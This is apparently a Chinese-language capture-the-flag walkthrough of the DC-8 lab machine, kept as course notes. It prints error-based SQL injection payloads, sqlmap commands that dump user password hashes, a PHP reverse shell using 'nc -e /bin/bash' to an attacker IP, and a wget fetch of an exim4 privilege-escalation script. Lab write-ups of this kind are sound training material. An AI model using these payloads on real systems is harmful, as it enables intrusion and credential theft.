【DC系列打穿靶机】DC-8全详解
声明:该笔记为up主 泷羽的课程笔记,本节链接指路。
警告:本教程仅作学习用途,若有用于非法行为的,概不负责。
启动!
依然是扫一下端口和目录看看:
登录网页:
观察了一下,试试sql注入,居然会报错:
手动注入
使用报错注入,可以报出表名:
数据库名:?nid=1 and (extractvalue(1,concat(0x5c,database(),0x5c)))#
表名:?nid=1 and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#
字段名:?nid=1 and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
数据库:d7db
表名:actions,authmap,batch,block,blo
字段名:\uid,name,pass,mail,theme,signat
找到这里就差不多看出端倪,有name和pass在users里,那就试试爆出内容。
字段内容:‘,admin
S
S
SD2tRcYRyqVFNSc0NvYUrYe’
这里是被加密过的信息,可用john暴力破解。
sqlmap
直接上命令:
数据库:sqlmap -u http://192.168.216.140/?nid=1 --dbs #列出数据库
表名:sqlmap -u http://192.168.216.140/?nid=1 -D d7db --tables #列出数据库的表
字段名:sqlmap -u http://192.168.216.140/?nid=1 -D d7db -T users --columns #列出字段
字段内容:sqlmap -u http://192.168。216.140/?nid=1 -D d7db -T users -C name,pass -dump #列出账号和密码
S S SD2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
S S SDqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
用john来破解:
获得密码之后去登陆。
我们找到robots.txt,可以发现这里有疑似可以登录的url:
反弹!
登陆成功,去找找可以上传的点:
这个webform进去就有一个setting:
尝试一波:
没有成功,看来要加点东西:
成功
反弹shell试一下:
成功
但kali并没有连上,发现有另一种方法。
<?php
system("nc -e /bin/bash 192.168.216.132 1234");
?>
尝试成功
漏洞利用
ok又是交互式和SUID文件:
python -c 'import pty; pty.spawn("/bin/bash")'
find / -perm -4000 -print 2>/dev/null
find /:从根目录/开始搜索。
-perm -4000:查找具有SUID权限的文件。SUID权限允许用户以文件所有者的权限执行该文件,而不是以用户自己的权限执行。这里的-4000表示设置用户ID位(SUID位)。
-print:将找到的文件路径打印到标准输出。这实际上是find命令的默认行为,所以-print可以省略。
2>/dev/null:将标准错误(文件描述符2)重定向到/dev/null。这意味着如果find命令在执行过程中遇到任何错误(比如权限不足无法访问某个目录),这些错误信息将不会被显示。在Linux系统中,/sbin文件夹通常包含了一系列系统管理员使用的可执行命令,那么就可以直接利用这命令/软件,来提权。
诶 有sudo权限,还有exim4可以漏洞利用。
看看具体是什么版本:
那就找到对应版本的漏洞
就决定是你了!
那就上传一下
wget http://192.168.216.132:8888/46996.sh
来提权,结束战斗吧!
嘿 搞错了,没成功,去找人家的使用说明:要改成unid格式
这里最好备份一下,在重传:
重新上传,成功